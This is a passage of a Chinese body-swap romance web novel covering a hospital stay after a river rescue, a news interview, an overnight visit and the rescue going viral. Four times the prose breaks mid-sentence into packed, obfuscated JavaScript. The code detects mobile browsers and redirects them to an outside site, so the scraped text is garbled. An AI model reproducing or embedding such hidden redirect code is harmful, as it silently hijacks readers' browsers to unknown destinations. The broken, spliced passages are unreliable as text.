旁边程雨濛从柏随远醒来脸色就很难看，一直到孟苏说要去告诉护士病人醒了，等周围只有两人后才压低嗓音说：“你太过分了，怎么能这么不顾及可吟的身体。” “对不起。”没多解释一句，柏随远从昨天晕倒前就开始后悔。他一时激动出手救人，身体的负担却要让华可吟承担。 程雨濛见他痛快道歉，火气小了点，又拿起手机看一眼时间和消息，抬头恶狠狠地说：“医生说可能是电解质紊乱，会出很大的问题！我不放心把可吟的身体交给你，她已经坐上最早的一班高铁要自己来。” “我...”柏随远刚想说什么，孟苏已经回来了，跟进来的还有一个医生一个护士。 “病人晕厥的可能情况很多，但昨天没有检查出来具体诱因，不排除是脑部问题，以后要多注意。”医生边说边记，“还得再住一天院观察一下。” “好的好的，谢谢医生。”孟苏把医生护士送出病房后，回来对柏随远柔声道：“你爸爸等会儿带粥来。下次这种情况叫你爸去不就行了，你倒好，见义勇为进医院来。” 柏随远点头承受华母的抱怨，心里觉得也对不起华可吟的父母，让他们担心之后还照顾自己一晚。 程雨濛皱眉看着他，听说昨天是当场晕倒的，万一给可吟弄出什么后遗症怎么办。 华荣很快就提两个饭盒来，一大桶简单的白粥，两碟小菜，声音也比平时更轻：“生病就吃清淡点，等好了爸爸再给你做别的。” 早饭华荣做了四个人的量，程雨濛和夫妻俩也坐在椅子和旁边空着病床上吃起早饭。他们都紧张了一整夜，害怕华可吟不退烧不醒来会有什么其他病情，现在总算是放心。 吃过饭，华父犹犹豫豫后还是去上班。华母今天没课，和同事打声招呼留在医院照顾华可吟。“雨濛，你先回去吧，你也在这待一夜。”孟苏也心疼女儿的好朋友在这陪一晚上。 “没事阿姨，我等—等—”最后两个字说得很慢。 “多的话我也不感谢，你们两个小姐妹感情好阿姨就开心。”孟苏摸摸程雨濛的手，说完就要下楼再给程雨濛买点零食吃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377852|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >病房是标准的三人间，只住两个病人，和柏随远隔一个位置的床位上有一个年轻人在照顾病人。每个病床上围有一圈滑轮，可以拉上帘子，不至于毫无隐私。 旁边病人的家属看到柏随远醒了，过来问一句后就打开墙上的电视，给床上的老人找爱看的电视剧。 病房里除了电视里热闹的台词以外静悄悄的，程雨濛回复家属几句后就没再说话，一直在用微信问华可吟到哪。 —sing：马上，马上。 昨天晚上，就在柏随远晕眩的同一时刻，华可吟正刚送完客人回到卧室，头突然也尖锐地痛起来。 本以为是身体要换回的讯息，那股剧烈的感觉却一直持续了十几分钟，她靠在椅子上抱头忍受良久，最后接受仍未换回的现实。 她连忙发消息询问柏随远的感受，却迟迟没收到对方的回应。她担心是不是发生了什么意外，又给家里座机打个电话，居然也没人接。 直觉家里出事了，但时间太晚不好出门，华可吟只能先给程雨濛打电话让她看看。 程雨濛也睡得晚，思索一下后就打给了孟苏。当时正是小区里一家人急切等待救护车的时候，孟苏当然是没听到电话。 这下程雨濛也着急了，直接下楼开车到华可吟家小区。小区门口围不少人，下车一打听就知道是“华可吟”救人晕倒，刚送去医院。 程雨濛立马又开车去医院，到停车场才打电话通知华可吟。 早就过了高铁售票服务时间，华可吟一晚上都没睡着，刚到五点就给自己买最早班的票，过来亲眼看看自己身体的情况。 早上得知柏随远醒来后放心多了，回想到对方跳水救人时没事，上岸后却晕倒，华可吟觉得有些蹊跷。 自己的身体本来就会游泳，坚持锻炼也很健康，没有什么疾病。她直觉推测这事和互换造成的头痛脱不开关系。 果然，柏随远在征得虎视眈眈的程雨濛的同意后，先告诉刚进门的华可吟昨天救人的来龙去脉，当时的感觉确实和互换时一模一样。 “你看，你腿上还有淤青！”程雨濛拉着华可吟给她指昨天换病号服时发现的手臂小腿几处瘀青。 华可吟见雨濛这么气愤，先放下好奇给她宽心：“这是我勇敢救人的勋章呢。”说完她又低头去看病床上人的小腿伤痕，还好看起来不深，也不会留疤。 孟苏提着一袋零食进来看到的就是这一幕，一个高大的男孩正一脸关心地看着女儿的伤口，而自己的女儿坐在病床上，不敢看床边的人，好像在害羞。 孟苏放缓脚步往屋外退，虽然她也好奇那个男孩的身份，但还是决定给年轻人一点空间。 还没等她走到门口，病房门突然被敲响。病房里的人齐齐向这个方向看来，孟苏尴尬地笑笑，转身给来人开门。 本以为是护士过来通知什么，没想到一下进来四五个人，打扮各模各样的，还有个扛着大摄像机。 23. 采访 社区工作人员穿着红马甲很好认，今天上午一上班，记者就来社区询问昨晚小区见义勇为的事情。 记者本来要直接去华可吟爸爸的单位采访，标题都准备好了：“公职人员见义勇为”。 没想到社区旁边听闻有报社采访赶来看热闹的大爷大妈围上来，你一嘴我一嘴地说起华可吟。又是大学生又第一个下水，特别是救小孩之后自己还被送去医院。 记者一听，报道积极向上的年轻人明显更有看点，就让社区赶快带人来医院采访。 热情的大爷大妈立马把医院地址给记者朋友，最后两个记者、两个社区人员一起坐上车直奔医院。在楼下大厅又碰到小区的物业经理，五人就一起上楼。 “华小姐，真是不好意思，这也是我们物业的疏忽。”物业不等旁边几人开口，先给病床几人鞠躬道歉，他给业主这道完歉还要赶去儿科看受伤的小孩。 物业经理暗暗叹气，怎么就这么倒霉，扶手在晚上断。还好孩子没出事，要不公司麻烦就大了。 “没事，那个小孩怎么样。”柏随远直起身想要站着说话，孟苏见状两步上前想让女儿不要活动。 没想到拿话筒的记者比她还快，双手在空中扇风一般晃动叫柏随远快坐下，“你先躺在病床上，咱们把病房里的景色都拍进来。” 记者刚进门就眼前一亮，本来听热心邻居介绍完，救人的女生这个品学兼优的标签就很好，现在看到真人更觉得这不出一期视频采访实在是说不过去。 容貌姣好的女生身着病号服，嘴唇苍白，眼神却格外明亮。配上见义勇为的事迹，这照片公众号推文首图，点击量怎么可能没有保证呢！ “华可吟同学，这是咱们市晚报的记者。”社区人员看到记者急不可耐的表现，咳两声给孟苏和柏随远介绍。 他怕晚报记者表现得太热情，吓坏面前的女孩，人家因此不答应采访怎么办。他知道现在有些年轻人不像以前那么看重荣誉，万一人家就是一个做好事不留名的英雄呢？ “记者来我们社区也是听说你救人的举动，你在危险面前毫不犹豫地挺身而出，实在是道德楷模！” 社区人员竭尽全力地夸赞，一方面是因为见义勇为的市民本身就值得敬佩，另一方面是事件登报之后提一提社区的名字，今年的宣传工作就达标了。 “是啊，这是上阳正能量！”记者喜气洋洋，已经开始指挥摄影找角度，“咱们在这里做一期采访可以吗，就昨天你英勇救人的事迹，下午我们还准备去采访一下你爸爸。” 从一群人进来开始，柏随远虽然也有点惊讶，但表情一直没有变化。听到记者的询问后，他才小心看向已经被挤到墙边的华可吟。 华可吟脸上倒是兴奋多，见他盯着自己立马点点头。 旁边孟苏站得更近，听到记者说给父女俩都要做采访也是非常开心。她一直关注着女儿的情况，见到这两人的眉眼官司，心里感觉很矛盾。 她一方面觉得女儿有对象是成长，这个小伙子看起来高高帅帅的还有股学生气。 另一方面觉得女儿怎么谈起恋爱后，连这种事都要询问男朋友的意见，太依赖男人也不好啊。 恰好此时程雨濛提出要帮采访主角整理一下发型。 记者嘱咐一句不要涂口红之后就开始左右检查背景，一转头，和穿大衣的华可吟来个四目相对。 嚯，这怎么还有个帅哥啊！记者立马眼睛更亮，走上前问：“你是华同学的男朋友吗，咱们可以对你也进行一个采访，从不同角度了解道德楷模的生活啊！” 华可吟立马摆手，尴尬地笑道：“不，不，我是她大学同学。” 柏随远听到她迅速坚决地否认，嘴唇抿成一条直线，随后又想到对方半个月前表情自然的“可以分手”。 本来因为时间的流逝，这种烦闷感已经减弱一点，没想到... 一想起那个来家里找华可吟送橘子的男生，柏随远突兀地把脸移到一边不去看华可吟。 屋子里的人都注意到这个动作，华可吟心想，柏随远今天在自己的身体里怎么劲劲儿的。 孟苏却是满意地点点头，这男孩还算懂事。 她现在确定这男生就是上次可吟说的去酒店送电脑的人，也暂时认可这个男孩和可吟谈恋爱。 可女儿连家都没有带回过的男孩，凭什么能以男朋友的身份跟着上新闻？还好他有点自知之明，不然万一可吟分手，这个前任还一直能从报道上搜到。 华可吟猜不到自己妈妈脑袋里百转千回的想法，但她看着妈妈对自己的表情，心里只想偷笑。 这表情熟悉极，就是过年去亲戚家拜访时的客套假笑。 程雨濛现在则是没时间管什么女婿家长的。她虽然还在生柏随远让华可吟身体受伤的气，可是现在摄像机一架，她更不能接受自己的好朋友顶着住院刚睡醒的乱糟糟发型上报纸！ 管里面究竟是谁呢，别让华可吟的脸面有任何闪失才最重要。程雨濛翻出包里的小梳子，磨刀霍霍向柏随远走去。 还好华可吟素颜也很美，浓密的睫毛自带内眼线，让她不至于看起来像弱不禁风的病美人，搭配苍白的面颊也显得很精神向上。 程雨濛把头发梳顺别到华可吟的耳后，整理一下病号服的领子，又左右检查一番“华可吟”的状态，才和记者说准备好了。 晚报工作人员立马进入工作状态，先把几个拟定好的问题告诉华可吟，让她在心里打个腹稿再开录。 孟苏站在一旁也仔细听。虽然知道女儿自己就从事自媒体，这些问题说不定比她懂更多，但家长总是担心孩子。 她在心里默默审核问题，怕记者问什么不合适的问题。 程雨濛拿起自己的包走到房间墙角，挪到华可吟旁边小声说：“跳下水救人还得到一篇报道，我小小原谅他不顾你身体的行为。” “雨濛对我最好～”华可吟正想象平时那样抱抱闺蜜，又因为两个人现在的身高差立马想起这举动不合适。 “你们真的每个月都得换一次啊，这时间怎么还越来越久？” “不知道啊，这次是两天整，我们俩都怕下个月是四天。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381796|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“天呐，这种玄幻的事情到底是为什么！我一点也习惯你的身体里是个男的！” 程雨濛经历这次好闺蜜住院的事情后，已经完全不站在甜蜜事件的角度看待这次互换了。好朋友的身体被别人使用，万一发生什么意外，她去哪儿哭华可吟啊。 华可吟的情绪反倒没有那么抵触，虽然依旧有点后怕自己真的死掉，但她觉得这也不怪柏随远。 万一那个小女孩真的因为救援几秒钟的延迟去世了呢？ 她不觉得柏随远见义勇为的行为是错的，要是她自己在那个场景下也会冲下去的。小区的人工河不危险，她确定自己的身体素质完全可以保护自己。 要怪就怪互换吧，华可吟在心中坚定地说，是互换让柏随远在过度运动后眩晕才失去知觉的。 又安慰程雨濛几句，那边已经开录。旁边两个病房的人都听说这边有采访，不少病人和家属围在屋子里看。 倒是医生和护士的工作太忙，来这里嘱咐一声不要太吵闹后就又回工作岗位，连看热闹的时间都没有。 “行，预计1至2天就能出稿，到时候记得关注我们的公众号哈。” “好的好的。” “下一站咱们去华荣单位，孟女士，您是一起去吗？” 孟苏看看病床上经过一上午已经恢复血色的女儿，和床脚正关心地看着女儿的两个年轻人，最后还是担心老华说错话的情绪占上风。 她又给病床上的柏随远叮嘱一遍注意事项，才跟着一群人一起出门。 记者走之后，围观人群看看留下的三个学生样子的年轻孩子，觉得和他们聊不出什么天，没一会儿就散了。 程雨濛这时也接到一个电话，是她妈妈问华可吟怎么样，要她也回家休息一下。 她看看正对视着明显有话要说的两人，想想后觉得把华可吟的身体交给本人照看也没什么不放心的。 “我先回家和我妈说下情况。”程雨濛把包里的湿巾什么的都倒出来给华可吟备用，又补充道：“我下午还过来。” 她怕孟苏回来看到自己只留个男生照顾可吟会不放心，说罢一步三回头地出病房。 一上午热热闹闹的外人现在都走了，华可吟眨眼时间问：“你吃什么，我去给你打饭吗？” “我自己下去吃。”柏随远声音因为采访说了不少话有点哑。 华可吟听着这沙哑的嗓音，突然伸手抚住柏随远的后脖颈。 “果然有点青。”华可吟确定了刚才自己瞥见的，确实又是一块淤青。 柏随远垂下眼睛，他没想到自己一冲动救人会害华可吟的身体受这么多罪。 虽然他不后悔，但还是又真诚地和华可吟鞠躬说声“对不起”。 “没关系，现在不是大家都在夸我勇敢救小孩，还会上报纸吗。”华可吟撞撞柏随远的肩膀，安慰他。 “嗯。”柏随远的声音还是低低的。 “咱们去外面吃吧，医院的饭比我爸做得还清淡。”华可吟从妈妈留下的包里掏出一套衣服递给柏随远，起身把病床的帘子给他拉上。 24. 留宿 华可吟的动作太快，柏随远反应过来的时候已经独自坐在这个被青色床帘围绕的小天地。 他先起身穿好黑色的裤子，接着拿起内衣和毛衣。 回想昨天早上先扣好前面，再转到身后的流程。柏随远闭气低下头，指尖抓住背扣松紧带往中间用力拉，包裹住的细嫩肌肤也被这股力量拉扯往中间挤。 一想到华可吟此时就在这薄薄的帘子后等待自己换衣服，窄小的空间里，柏随远心跳的咚咚声非常明显，震得胸膛发颤。 他举起手，右手居然也在剧烈抖动，他意识到现在更不可能扣得上内衣。 “华...柏随远，你进来。” 华可吟听到细细呼喊自己的声音，从靠墙的床帘边撩开走进去。看到的就是松垮披搭着病号服上衣的柏随远低头站在那里，旁边白色的病床上放着自己的内衣。 她立马就明白，柏随远好像没谈过恋爱，应该是不会穿女生的内衣吧。 随即，她又想到什么，目光灼灼地问：“难道你昨天没穿内衣？” “穿了。”柏随远声音很小了。 “那就行。”华可吟拿起内衣递给柏随远，“你先套上，我给你系。” 柏随远蹑手蹑脚地又把病号服扯下来，自己套上女士内衣，转过身撩起乌黑的长发。 华可吟注视这一系列动作，觉得气氛越来越怪。明明上次自己连胸贴都亲手给柏随远贴过，怎么这次系个扣子对方也磨磨蹭蹭的。 不过这番胡思乱想马上被脊背上最大的一片淤青吸引。 昨天晚换衣服的时候这片淤青颜色还很浅，没有被注意到，现在已经成紫青色的一大块，还有星星点点的深红淤血。 不知道这得几天才能消下去，华可吟忍不住上手抚摸自己的伤痕。 手下的身体却倏然一抖，接着是柏随远明显变调的声音“你碰哪里干什么？” “这一块都紫了，也撞到了吧，痛不痛？” 原来背后还有一大块伤痕，也许是因为全身都很酸，已经让柏随远习惯这处痛感。 刚才感受到有东西碰到自己后背，柏随远只觉得有股痒痒的感觉从那一点蔓延到全身。 见对方不再出声，华可吟伸手快速地把内衣扣好，催促柏随远穿衣服。 帘子拉这么久，她怕病房里另一个室友误会他们两个异性年轻人在里面干什么其他事。 “走吧。”柏随远拉开帘子走出来，又变成了熟悉的那个面无表情的他。 * 医院不远就有个小商场，两人选一家适合病人吃的椰子鸡。 在包厢里等待上菜时，华可吟开始说自己昨天也在同一时间头痛的事情，最后总结：“可能是身体受到强烈刺激，那我们以后要小心特殊情况。” 柏随远心里还想着“分手”“分手”“分手”“逸阳”“逸阳”“逸阳”，根本没空继续想互换的事，嘴里只能回答“嗯。” 察觉到面前的人心情低落，华可吟又安慰：“说不定这次头痛是不会再互换的标志呢？” 柏随远这才把注意力转向两人间的话题，点点头：“希望。” 吃过午饭两人都有点困，昨天担心一晚上，华可吟躺在旁边空着的病床舒服地补了会午觉。 一醒来，爸妈和程雨濛都在病房里。 “记者采访完你爸，他领导立马就当大家的面说给他放半天假休息。”孟苏掩嘴笑，老华今天在镜头前面真是傻得可以。 “可吟头还疼吗？”华荣从饮水机接杯温水正让女儿多喝水。 华可吟站起身，迷迷糊糊之间喊声：“爸。” 华荣和孟苏一脸不可置信地转过头来。 程雨濛心里暗骂一声后打圆场：“八、八点，为什么还没到八点呢？”说罢她转头去看床上的柏随远，想让对方多点反应。 柏随远却好像没感受到这尴尬气氛，拿起杯子喝白开水。 华可吟得知自己失言，也立马补救：“叔叔好，阿姨好，我叫柏随远，也在S大读书，听到可吟同学受伤的消息顺路来看看。” 华夫华母听到程雨濛的话后没继续这个话题，过一会孟苏把程雨濛拉到病房外，小声询问：“这个是不是就是可吟那个男朋友？雨濛，你跟可吟关系最好，你给阿姨说实话。” 程雨濛很想就上次的探听到的进度，和孟阿姨说两个人分手了。 可谁家前男友知道住院，会坐最早的高铁跑来探病啊。她只能含含糊糊地表示：“他们俩，有点交集。” 孟苏听到这话显然不信，这不就是应付家长的说辞吗？ 不过孟苏仔细瞧瞧女儿好朋友的表情，看来连雨濛对两人的关系都很熟络，她大概懂，这对很有戏。 “小柏啊，刚听你说顺路来，你家也在上阳吗？” “阿姨，我家在云州。” “这样啊，谢谢你来关心可吟啊。”孟苏没继续问客人隐私，但眼神明显把对面男生打量一番。 “妈，我已经没不舒服，不然今天就回家住吧？”柏随远开口，他觉得还是回华可吟家方便点。 孟苏和华荣犹豫一番，老华去咨询医生得到提前走也可以地点头。 几人到楼下，孟苏去把车开到住院部门口。程雨濛道别说今天先走，剩下的华可吟、柏随远和华荣面面相觑。 “小柏啊，一起回去家里坐坐吧。” “好的，叔叔。”华可吟担心这次互换还会有类似突然晕厥的意外，还是打算两个人待到换回为止。 华父客套表示后没想到男孩会答应得如此爽快，又看女儿一眼才继续客气地说：“那就好，那就好，叔叔阿姨欢迎啊。” 正好孟苏把家里的suv开到面前，四人上车，华可吟坐在后座柏随远旁，想想还是拿起手机。 —sing：不好意思哈，我爸妈可能会误会我们俩的关系了，过段时间我再解释【搓手】 —road：没事。 —sing：你记得给你妈妈发个微信说今天不回家 —road：好的。 —road：【微笑】 华可吟收到那个微笑有点疑惑，以前从来没见柏随远发过表情。 众所周知这个表情在现在网络环境里有层其他的阴阳意味，这是什么意思？生自己用他身体住别人家的气？ 华可吟觉得自己的猜想很靠谱，毕竟柏随远房间家具上都是井井有条的，甚至每次在酒店睡觉都只睡一个角，这种不爱外宿的人很多。 可这又不是她想的！华可吟轻发出一声哼，转头不去看柏随远。 柏随远输入完“好的”两字后，想起来学长曾经说过自己发消息太过古板。 他从表情队列中选出看起来最友善的一个笑脸。正自觉不错时，听到一声小小的“哼”。 闻声看去，却只看得到华可吟的后脑勺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387580|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 还发生了什么别的吗？柏随远又看一遍聊天框，什么也没感受出来。 他只能一边给谭斯发自己今天有事不回家的消息，一边回忆这两天有没有可能华可吟在自己家受了什么委屈。 晚上八点，家中四人吃过晚饭都没再散步，坐在客厅看电视。 小丁一下午都凑在柏随远身边偷看华可吟，直到华可吟忍不住把它捞过来猛揉几下才好。 “咳咳。”华荣又清清嗓子，都这个点，客人还没有说要走的事。 孟苏用手戳戳丈夫后腰，温柔笑道：“小柏啊，今天有点晚，你就住在阿姨家吧。” 华可吟立马点头接道：“谢谢阿姨、叔叔，我也想再确定一下可吟的病情。” 孟苏想到今天女儿的“温柔”表现，整个下午在家里都没说几句话，平时哪有这么安静？ 肯定是在男朋友面前害羞成这样，看来两个人感情真不错。 趁年轻人没注意，她凑到丈夫耳旁轻声说：“这不是人家小年轻面子薄不好意思说吗？再说人家也是担心你女儿。” 华荣最不想听到的就是这个：“你别瞎说，可吟不是说就是校友吗？”语气略带嫌弃：“女儿没说是男朋友肯定就不是，一个大小伙子还住在咱家。” “哎，你这...”孟苏感受到丈夫就是纯看不惯人家，干脆不继续说，起身又去洗点水果让客人吃。 华可吟坐在侧面沙发上，时不时偷偷瞄父母两人的表情。看出来了华荣脸色一般，她整个晚上都正襟危坐，表现得不能再礼貌。 微微尴尬的气氛一直持续到晚上十点，孟苏催女儿快点洗漱休息：“可吟，你还是得早点休息，睡眠有助于康复。” 柏随远想到离换回来还有不到一小时，摆手说：“妈，我想再休息一下，晚点再洗漱。” 孟苏想到可吟每次说“五分钟”“十分钟”，在家拖拖拉拉的样子，还想再催几句。但是考虑家里还有客人，最后还是笑着答应了。 关好电视，众人也准备睡觉。孟苏把华可吟带去客房，还翻出一个华荣的T恤递给她：“这是你叔叔的，放心，干净洗过的”。 “谢谢阿姨，真是麻烦您了。”接过衣服，华可吟环视这间卧室。 这个次卧对面的客房平时过年有亲戚来住，所以床品什么的都很齐全，小时候表姐来玩时华可吟也一起睡过好多次。 她把被子理理，手机就传来几声震动。 —road：我在门口。 柏随远在客房前不敢敲门，怕被还没睡的华父华母听到。等到华可吟从里面打开门，他立马从门缝滑进来。 华可吟又确认一遍时间，连忙说：“你先回房间待着，我妈还没睡呢，她说不定会去再看你一趟。” 被推出来的柏随远垂头丧气地回到华可吟房间，又翻出文献继续看，才等到十点四十的到来。 经过一阵剧烈的头痛，华可吟总算回到自己的身体。 这两天发生太多事，她揉揉太阳穴，才起身去卫生间。 专门绕道去主卧看看门底的黑暗，还好父母已经睡了。明明没干什么，华可吟还有点心虚。 她舒口气往回走，路过客卫见里面透出白光。昨天她也没帮柏随远洗澡，但感觉下一次互换时间继续延长的话不可能再不洗。 华可吟脑中渐渐浮现换衣服时瞥到柏随远衣服下的薄肌，其实她也摸过两把，手感不错。 25. 涂药 华可吟洗澡时碰到痛处才想起中午看到的那一大块淤青，她走到镜子前仔细观察，还好皮肤没有破损。 出了浴室，她去家用医药箱里翻出来点活血化瘀的外用药，回到自己房间里站在穿衣镜前处理伤口。 热敷比较简单，华可吟把大块毛巾用热水浸湿后，两只手绕到背后让毛巾贴紧痛处。 可是擦药时就没这么好操作，手可以碰到背后正中的伤口，却无法继续进行涂抹。 她右手翻过去用力试几次都没办法涂匀药膏，正准备放弃时，听到自己房外传来的微小的敲门声。 父母都睡了，此刻外面肯定是柏随远。华可吟把睡衣随意一套，打开门，男生和小猫前后走了进来。 刚洗完澡的柏随远发丝还有点水汽，脸颊被热水熏出的红晕微消。 华荣的文化衫是上次全市活动发的，质量一般。洗过两次后领口就变形了，此时正松松垮垮趴在柏随远的脖颈下方，露出两条线条流畅精致的锁骨，被卧室的灯光打出一道深深的阴影。 平时的柏随远连穿衬衫都最多解开一个扣子，看着眼前的场景，华可吟疑惑道：“怎么了？” “你身体还好吧？”柏随远在浴室里待了好久，直到把自己的内裤吹干，换上华父的文化衫才走回房间。 坐在床边又想起华可吟的身体，忍不住来亲眼看看她还有没有什么不舒服。 “没什么不舒服，别担心啦。”华可吟为展示自己的状态良好，给柏随远转个圈。 背后的睡衣因为穿得太快，边缘被折进里面，转圈时露出一截白皙的腰身，以及上面的深紫色伤痕。 柏随远的眼睛捕捉到这一瞬间：“对不起，我没注意到。” “没事没事。”华可吟摆摆手，背后的淤青现在还是有无法忽略的疼痛感，“要不...你帮我涂下药吧。” 房间开暖黄色的灯，淡粉色的窗帘紧拉，房间里静悄悄的，华可吟趴上自己柔软的床。 还不等她把后背睡衣撩至伤口上，感觉到有双冰凉的手抚上来，轻轻掀起她的衣角。 华可吟被冰得身体一震，背后立马传来一声低沉的“别动”，身上的手指好像也在轻触皮肤。 “疼吗？”柏随远的声音有点哑。 “还好。”华可吟偷偷把头埋进枕头里，她居然觉得浑身热起来了。 不能让妈妈知道自己有这么多伤口，不然她会担心。现在让柏随远帮忙才是最好的选择，毕竟两个人早就熟悉对方的身体。 活血化瘀膏有股浓烈的药味，柏随远却依旧从那股刺激的气味中捕捉到专属于华可吟的甜甜的香气。 他的心跳加速，用指尖沾上一颗黄豆大小的药膏，点在华可吟的后腰上。 冬天的药膏格外凉，华可吟被冻得吸口气，虽然被枕头阻挡不少声音，在这静谧的房间里依旧被另一个人注意到。 柏随远的喉结滚动，两手合十，用掌心抚上伤口，轻柔慢速地摩挲起来。 碰到颜色尤其深的几块紫色淤青，华可吟的身体疼得忍不住躲闪，柏随远索性直接伸出左手压住她的肩头。 “别动，我轻轻地。”他的掌下用更轻的力气化开白色的药膏，头顶已经隐隐有细碎的汗珠。 华可吟平趴在床上，起初因为背上暖热的手掌而紧张，每移动一下，华可吟都忍不住想象柏随远坐在自己床边的景象。 不过这个过程实在是太慢，柏随远的力气逐渐放小。到伤口边缘时已经完全没有疼痛感，微微发烫的感觉反而十分舒服，像是在什么理疗室里进行的按摩。 华可吟被这过程搞得昏昏欲睡，等到察觉温热的掌心要离开时，迷迷糊糊中轻声制止：“肩膀也要。” 听到床上人绵长的呼吸，柏随远原本以为华可吟已经睡着，正欲离开，不想却听到这声挽留。 肩膀也有伤口吗？眼下白皙细嫩的皮肤上堪称恐怖的大片紫青交加的瘀痕，柏随远满心愧疚地又把华可吟的睡衣往上拉点。 想象中的红肿却没有出现，肩膀毫无异常。 正当柏随远犹豫时，底下的人又传出含糊的几个字：“继续揉。” 深吸一口气，再次搓手使之恢复最舒服的温度，柏随远回想着曾经看到过的人体穴位，把手放在华可吟肩头揉捏起来。 迷蒙睡梦中的华可吟因为过于舒适发出几声轻哼，柏随远的汗豆子般滴落，沿着锁骨滑进衣服里。 又按摩了一会儿，柏随远猜测华可吟应该已经完全睡熟，起身把被子盖在她身上。 黑色的头发柔顺地散落在床上，柏随远顿了顿，还是害怕华可吟这样睡着闷死自己。 他俯身靠近华可吟的头顶，小声叫她：“华可吟，华可吟，翻身睡。” 华可吟朦胧中听到声音，动了动却没翻身，柏随远只好扶住她的肩膀帮她用力翻过来。 闭着眼躺在床上的女孩，睫毛随呼吸轻轻颤动，脸上像一颗珍珠泛起丝丝光泽，嘴巴紧闭，饱满的唇珠都有些变形。 柏随远站在床边静静看了一会，突然意识到自己的行为有多不合适。 站直后悄声说了句对不起，才又抱上小丁一起轻手轻脚朝外走。 小丁似乎是想在华可吟房间里睡，被抱起来后发出几声“喵喵”。 柏随远听到小猫的话后皱皱眉：“别吵她。” * 第二天，华可吟被手机铃声叫醒。 她迅速清醒后发现已经是九点半，手机是程雨濛的来电。 “可吟，先别睡了，昨天的采访已经上热搜了！”雨濛的声音在电话那头很急切。 “什么？”华可吟也没想到晚报的工作效率这么高，她立马打开免提，去查看热搜词条。 果然第一条就是“热心市民跳水救小孩”，点进词条就是昨天的采访视频。 剪辑了三分钟的重要内容，后面是溺水孩子父母的感谢，采访到的路人对当时情况的转述，以及对华可吟的夸赞。 这条新闻在今天一早刚到上班时间就被发送出来，封面就是华可吟穿着病号服在病床上的采访照，只经过一个多小时就发散极广。 继续往下翻，几个官方和地区账号也都转发了，借此呼吁大家注意儿童安全。 更惊讶的是，下一条就是晚报账号原微博被S大官方微博号在几分钟前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396326|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转发：我校学子纵身一跃，见义勇为，尽显S大精神，愿这份正能量在校园中不断延续！ 评论区已经有不少人找出来的华可吟的账号，给众人指路。华可吟立马打开视频软件查看自己的账号，后台果然涌入非常多新关注和留言。 视频软件的热搜也挂着#大学生救人的词条，一点进去，信息比微博热搜还要多。 最上面是官方账号发的视频，往下划居然还有救人现场路人拍摄的视频，甚至还有前天小区的监控视频！ 监控是小孩落水后家长呼救，在旁边人还未反应过来时，女孩用最快的速度跑到岸边，以一个帅气的飞鱼动作跳入水中，去拉正在挣扎的小孩。 而周围人拍的几段视频就杂七杂八，有拍到华荣也跳下去的镜头，也有众人在岸上接应两人，后续华可吟晕倒现场乱作一团的场景，底下的评论都已经有大几千。 “旁边人都束手旁观，让一个瘦弱的女孩下去救人。哎，社会...” “应该是都没反应过来吧，最后不是还有好几个人下水吗？” “家长怎么能让小孩掉到河里，真不负责，给社会惹事！”。 当然，不管七七八八的讨论有多少，点赞最多的还是夸华可吟的身影“勇敢”“英姿飒爽”的。 华可吟账号里最新发的两个视频也是被“来看看救人的小姐姐”“社会正能量，顶顶”这种消息刷屏。 华可吟又打开微信，果然已经有了无数条同学朋友的留言。 大致一翻，最特别的一条是昨天添加的晚报记者，居然又发一条消息，想再约一次专访。 华可吟立马回绝，医院的专访基本上都讲清楚，再来多几个采访简直就是硬找话题。 记者秒回的消息非常模棱两可，只说华可吟这次的举动和近期对于社会正能量的宣传方向十分吻合。 红点上数量最多的则是年级群里辅导员对于新闻原文的转发。老师带头@华可吟夸奖了一番，群里的同学更是接起龙发点赞的表情。 怎么说呢...大家都是好心，但是本人有点尴尬。 虽然她猜大家知道她昨天还在住院不会计较，华可吟还是一个一个回完消息，表示身体无恙，感谢大家的关心。 顺手点进朋友圈，居然完全被亲戚刷屏了。舅舅、舅妈，甚至是姑姑和小表妹，全都转发采访视频到朋友圈说是自己侄女/姐姐。 “哈哈哈哈。”华可吟乐出声，这个救人后续阵仗可太大了。 